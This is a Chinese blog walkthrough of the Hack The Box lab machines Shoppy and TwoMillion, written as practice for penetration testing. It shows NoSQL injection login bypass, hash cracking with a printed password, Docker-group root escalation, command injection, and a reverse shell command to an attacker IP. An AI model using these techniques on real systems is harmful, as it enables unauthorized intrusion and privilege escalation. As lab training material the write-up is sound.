HTB:Shoppy&TwoMillion

文章发布时间:

最后更新时间:

文章总字数:
1.8k

预计阅读时间:
7 分钟

HTB:Shoppy&TwoMillion

鹏城杯线下有机会接触到各种服务的内部系统,并进行渗透测试,现在准备准备,正好也入门一下一直想做做的渗透,以后可以去护护网。感觉 HTB 比 vulnhub 要新一点,而且 wp 很全,打打看看。

Shoppy

常规信息收集

https://boogipop.com/2023/03/02/Shoppy/

nmap 扫,22 ssh 和 80 端口

切换 root ,echo 10.10.11.180 shoppy.htb >> /etc/hosts,才能正常解析访问 80 的 web 服务。

主页无特征,爆破子目录 dirsearch -u shoppy.htb -x 301 image.png

NoSql 注入

访问 login ,登录页面抓包分析,爆破 admin 密码无果,进行常规的 sql 注入尝试也没有结果,学习 nosql 注入:
https://zhuanlan.zhihu.com/p/345342966
https://caidexin.top/2021/06/11/blog_formal/security/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/NoSQL%E6%B3%A8%E5%85%A5/

NoSQL(Not only SQL) 是对不同于传统的关系数据库的数据库管理系统的统称,即广义地来说可以把所有不是关系型数据库的数据库统称为 NoSQL 。传统数据库严格使用库,表,列来索引,而 noSql 有键值对,图表等多样的存储数据方式。

这里抓包发现数据是这样传输的: username=1&password=1 ,使用 nosql 的万能密码成功用 admin 账户登录后台(&& 优先级高于 ||):

image.png

通过万能密码也能在搜索栏搜出所有项:
image.png

返回的 json 文件里面就有用户的密码 hash 和用户名。
将 hash 加入到一个 txt 使用 hashcat 加上 kali 自带的字典用来爆破:

hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
6ebcea65320589ca4f2f1ce039975995:remembermethisway

爆出了 josh 用户的密码,没有 admin 的,尝试 ssh 登录失败,推测存在子站,可以用 josh 登录。使用 wfuzz 扫描子站。

wfuzz 扫描

wfuzz 更多更全的词典 https://github.com/danielmiessler/SecLists

wfuzz 使用方法 https://blog.csdn.net/JBlock/article/details/88619117 需要模糊测试的地方打上 FUZZ 标记,这里使用的 payload :fuzz -c -w /usr/share/wfuzz/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u 10.10.11.180 -H "Host:FUZZ.shoppy.htb" --hc 301

-c 表示有颜色显示,-w 指定字典,-u 指定 url,-H 指定请求头,通过请求头里 Host: FUZZ.shoppy.htb 访问 10.10.11.180,–hc 指定什么样的结果算成功,如果出现 301 跳转状态码,说明子站确实存在。

wfuzz 遇到个问题 pycurl-ssl: https://www.coder.work/article/7764182
解决方法:首先卸载它。 (对于基于 Debian 的系统)sudo apt --purge remove python3-pycurl并安装 pycurl 的依赖项:sudo apt install libcurl4-openssl-dev libssl-dev然后重新安装sudo pip3 install pycurl wfuzz

扫到了 mattermost.shoppy.htb,同样增加一行解析:echo “10.10.11.180 mattermost.shoppy.htb” | sudo tee -a /etc/hosts

mattermost 是一个在线聊天的服务,在里面翻翻找找聊天记录,可以做一些信息收集:

jaeger 是 boss ,jess 同事,tigrou 猫。这里更是直接发现了 ssh 登录的账户密码:

image.png

Sh0ppyBest@pp!

ssh 登录之后获得第一个 flag 在 home 目录下。

逆向可执行程序

进入提权阶段,先 sudo -l 看一下可用 sudo 的命令,发现:

User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager

进入到这个目录发现确实只有 deploy 用户可以执行 password-manager,sudo -u 以 deploy 身份执行之后要输入 master password,尝试无果,且看到旁边的 cpp 可以推断这是个由 cpp 文件生成的可执行文件,获取该可执行文件,逆向分析一下(对可执行文件的常见分析)
image.png

可以使用 ida,这里为了方便直接使用 kali 自带的工具 radare2 来静态分析:
r2 password-manager
aaa //自动分析命名函数
afl //查看程序内的函数
找到了main函数,先定位到main
s main //定位到main
pdf //生成汇编代码

image.png

大概就是将输入和 Sample 做比较,通过之后会读取 cred.txt,也就是说 Sample 就是需要的密码。得到 deploy 账户的密码。

image.png

docker 组提权

发现是 docker 组用户,直接 docker 提权,将外部目录(root 目录)挂载到镜像里,再启动镜像,直接访问该目录即可。

docker images
docker run -it -v /root:/mnt alpine
cd /mnt && ls -al

访问 root.txt 拿到第二个 flag,靶机结束。

TwoMillion

常规信息收集

扫描有 22,80 端口,80 点进去一个注册页面,需要邀请码,查看源码,找到可能有邀请码生成逻辑的 js 文件(也可以通过 bp 抓包看流量或者直接 F12 看加载的文件,登录页面的一种常见思路)

js 混淆

然后。。。发现看不懂这段 js ,直接贴到 chatgpt,发现是一段经过了混淆的代码,且 chatgpt 自动帮你解了(de4js 也行: https://lelinhtinh.github.io/de4js/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
function verifyInviteCode(code) {
var formData = {
"code": code
};
$.ajax({
type: "POST",
url: "/api/v1/invite/verify",
dataType: "json",
data: formData,
success: function(response) {
console.log(response);
},
error: function(response) {
console.log(response);
}
});
}

function makeInviteCode() {
$.ajax({
type: "POST",
url: "/api/v1/invite/how/to/generate",
dataType: "json",
success: function(response) {
console.log(response);
},
error: function(response) {
console.log(response);
}
});
}

请求伪造

根据下面的 makeInviteCode 发送请求。

image.png

rot13 解码之后提示访问另一个路由,base64 解码获得邀请码,成功登录。

点击下载 vpn 抓包,可以看到 /api/v1/user/vpn/generate ,于是访问 /api/v1 列出 endpoints
image.png

访问 /auth 和 /vpn/generate 都鉴权错,访问 /settings/update 根据返回慢慢改错,最终获得 admin 权限,再访问 auth 已经变成了 true:

image.png

命令拼接注入

访问 /vpn/generate,发现需要获取我们输入的信息,上网查询 openvpn 生成 ovpn 文件,推测这里可能存在命令拼接,将我们的输入插到了 linux 命令中。

image.png

于是使用分号进行命令拼接,注入成功:

image.png

利用反弹 shell 命令:bash -i >& /dev/tcp/10.10.16.6/4444 0>&1,由于命令里面有特殊符号,于是利用 base64 先编码,再管道符解码,再 bash 执行。

image.png

获得 www-data 的 shell 之后,看 /etc/passwd,发现是有一个 admin 账户
image.png

www-data html 目录下有一个 env 文件,里面写了 DB 的帐号和密码,正好也是 admin,尝试 ssh admin 登录。
image.png

登录成功之后提示有一封邮件,linux 邮件一般放在 /var/spool/mail/username 里,也可以直接使用 mail 命令查看,这里发现没有装 mail,直接查看 /var/spool/mail/admin,提示使用今年的 OverlayFS/FUSE linux 内核 CVE。
image.png

上网一查可以知道是 CVE-2023-0386,下面是详细分析的文章:
https://blog.csdn.net/song_lee/article/details/131245481

exploit:
https://github.com/xkaneiki/CVE-2023-0386

scp 上传到目标,注意权限问题,最好上传到 /tmp

代码如下:
scp local_file remote_username@remote_ip:remote_folder
或者
scp local_file remote_username@remote_ip:remote_file

https://blog.csdn.net/qq_34374664/article/details/81289540

根据 readme 操作一波,成功提权,得到第二个 flag 。
image.png